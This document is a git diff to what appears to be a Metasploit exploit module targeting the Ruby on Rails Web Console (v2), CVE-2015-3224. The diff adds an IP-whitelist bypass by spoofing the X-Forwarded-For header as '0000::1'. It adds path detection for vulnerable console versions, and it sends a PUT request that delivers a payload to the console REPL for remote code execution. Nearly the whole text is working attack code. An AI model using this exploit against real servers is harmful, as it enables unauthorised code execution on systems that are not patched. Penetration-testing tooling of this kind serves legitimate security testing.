diff --git a/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb b/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb index 84b141ad3e..accaadd41f 100644 --- a/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb +++ b/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb @@ -12,24 +12,32 @@ class MetasploitModule < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Ruby on Rails Development Web Console (v2) Code Execution', + 'Name' => 'Ruby on Rails Web Console (v2) Whitelist Bypass Code Execution', 'Description' => %q{ - This module exploits a remote code execution feature of the Ruby on Rails - framework. This feature is exposed if the config.web_console.whitelisted_ips - setting includes untrusted IP ranges and the web-console gem is enabled. + This module exploits an IP whitelist bypass vulnerability in the developer + web console included with Ruby on Rails 4.0.x and 4.1.x. This module will also + achieve code execution on Rails 4.2.x if the attack is launched from a + whitelisted IP range. }, - 'Author' => ['hdm'], + 'Author' => [ + 'joernchen ', # Discovery & disclosure + 'Ben Murphy ', # Discovery & disclosure + 'hdm' # Metasploit module + ], 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'https://github.com/rails/web-console' ] + [ 'CVE', '2015-3224' ], + [ 'URL', 'http://openwall.com/lists/oss-security/2015/06/16/18' ], + [ 'URL', 'https://groups.google.com/forum/message/raw?msg=rubyonrails-security/lzmz9_ijUFw/HBMPi4zp5NAJ' ], + [ 'URL', 'https://hackerone.com/reports/44513' ] ], 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, 'Privileged' => false, 'Targets' => [ ['Automatic', {} ] ], 'DefaultOptions' => { 'PrependFork' => true }, - 'DisclosureDate' => 'May 2 2016', + 'DisclosureDate' => 'Jun 16 2015', 'DefaultTarget' => 0)) register_options( @@ -45,7 +53,10 @@ class MetasploitModule < Msf::Exploit::Remote def exploit res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), - 'method' => 'GET' + 'method' => 'GET', + 'headers' => { + 'X-Forwarded-For' => '0000::1' + } }, 25) unless res @@ -53,29 +64,38 @@ class MetasploitModule < Msf::Exploit::Remote return end - unless res.body.to_s =~ /data-mount-point='([^']+)'/ + web_console_path = nil + + # Support vulnerable Web Console versions + if res.body.to_s =~ /data-remote-path='([^']+)'/ + web_console_path = "/" + $1 + end + + # Support newer Web Console versions + if web_console_path.nil? && res.body.to_s =~ /data-mount-point='([^']+)'/ + web_console_mount = $1 + unless res.body.to_s =~ /data-session-id='([^']+)'/ + print_error("Error: No session id found requesting #{datastore['TARGETURI']}") + return + end + web_console_path = normalize_uri(web_console_mount, 'repl_sessions', $1) + end + + unless web_console_path if res.body.to_s.index('Application Trace') && res.body.to_s.index('Toggle session dump') - print_error('Error: The web console is either disabled or you are not in the whitelisted scope') + print_error('Error: The web console is patched, disabled, or you are not in the whitelisted scope') else - print_error("Error: No rails stack trace found requesting #{datastore['TARGETURI']}") + print_error("Error: No web console path found when requesting #{datastore['TARGETURI']}") end return end - console_path = normalize_uri($1, 'repl_sessions') - - unless res.body.to_s =~ /data-session-id='([^']+)'/ - print_error("Error: No session id found requesting #{datastore['TARGETURI']}") - return - end - - session_id = $1 - - print_status("Sending payload to #{console_path}/#{session_id}") + print_status("Sending payload to #{web_console_path}") res = send_request_cgi({ - 'uri' => normalize_uri(console_path, session_id), + 'uri' => web_console_path, 'method' => 'PUT', 'headers' => { + 'X-Forwarded-For' => '0000::1', 'Accept' => 'application/vnd.web-console.v2', 'X-Requested-With' => 'XMLHttpRequest' },